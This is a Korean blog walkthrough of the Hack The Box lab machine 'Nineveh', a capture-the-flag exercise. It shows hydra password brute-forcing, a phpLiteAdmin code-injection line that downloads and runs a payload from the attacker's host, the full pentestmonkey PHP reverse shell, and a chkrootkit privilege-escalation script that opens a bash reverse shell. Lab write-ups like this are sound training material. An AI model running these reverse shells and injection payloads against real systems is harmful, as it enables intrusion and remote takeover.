본문 바로가기
워게임/hackthebox

nineveh 롸업 정리

by meanjung 2021. 9. 15.

nmap

80번 http apache

443번 https apache -> nineveh.htb가 도메인네임인가보다 ☞ 이번에도 dns 관련해서 뭔가를 해야할 것 같은 느낌..


http://10.10.10.43

https://10.10.10.43

개발자 도구를 봐도 얻을 수 있는 것은 없었다.


gobuster

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.43

조금 기다리니까 /department 하나 나왔다. 여기 접속해봤다.

admin/admin, admin/nineveh not working... hydra 써야겠당


gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.43 -k

+ /secure_notes 도 같이 나왔다.(쓰다가 날라가서 캡처본이 지워짐)

default password "admin" not working...


hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^&login=Login:Invalid Password"

admin/1q2w3e4r5t

 

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&login=Log+In&proc_login=true&login=Login:Incorrect password."

 

admin/password123


http://10.10.10.43/department 로그인 성공 후

LFI하고싶게 생겼다

일단 넘어가기

https://10.10.10.43/db 로그인 성공 후

searchsploit phpLiteAdmin 1.9

searchsploit -m 24044

24044.txt

1. php 확장자로 sqlite database를 만든다.

=> shell.php

2. text field로 php 코드를 삽입한다.

<?php system("wget 10.10.14.30:5555/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?>

=> 로컬에서 실행되는 것을 방지해 txt로 저장해놓고, php 확장자로 다운받아 실행한다.

3. 이렇게 하면 해당 php 파일을 실행할 수 있다.

이 방법에 따라서 진행하도록 한다.


user.txt 구하기

1. 우선 로컬에서 리버스 쉘코드를 shell.txt로 생성한다.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.30';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

2. 그리고 로컬에서 python -m SimpleHTTPServer 5555 실행

3. 위에서 하라는대로 php 확장자로 데이터베이스를 만들고, 이 리버스 쉘코드를 다운받아 실행하는 코드를 삽입한다. 

<?php system("wget 10.10.14.30:5555/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?>

4. 로컬에서 리버스 쉘코드 딸 포트 열기 nc -nlvp 1234

5. 아까 LFI하고싶게 생겼다던 페이지에서 하나씩 path traversal 시작.. 밑의 주소에서 따진 것을 알 수 있다.

그런데 user.txt(/home/amrois/user.txt)조차 볼 수 없다.


권한 상승

현재 내 id는 www-data

ls -al 하니까 amrois 권한 디렉터리가 하나 있다. report 디렉터리...

report/에는 다음과 같은 파일들이 있다.

하나 cat해보니까 chkrootkit 명령어를 실행했을 때와 동일한 결과임을 알 수 있다.

또한, 매분마다 하나씩 생성되는 것을 알 수 있다.

즉, 매분마다 chkrootkit을 실행한 보고서를 계속해서 저장하고있다고 이해할 수 있다.

 

 

 

 

 

 

 

구글에 chkrootkit privilege escalation 검색

https://www.exploit-db.com/exploits/33899

"tmp디렉터리 안에 update라는 파일명으로 executable file을 만들어라. (non root owner)"

 

 

 

하라는대로 하자..

로컬에서 update 파일에 다음과 같은 코드를 담는다.

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.30/7777 0>&1

로컬에서 nc -nlvp 7777로 포트를 열고,

그리고 획득한 쉘에서 다운받는다. 그리고 chmod +x update

그럼 알아서 실행이 되어 루트쉘이 따진다.


 

'워게임 > hackthebox' 카테고리의 다른 글

valentine 롸업 정리  (0) 2021.09.20
solidstate 롸업 정리  (0) 2021.09.20
cronos 롸업 정리  (0) 2021.09.15
friendzone 롸업 정리  (0) 2021.09.11
bashed 롸업 정리  (0) 2021.09.10

댓글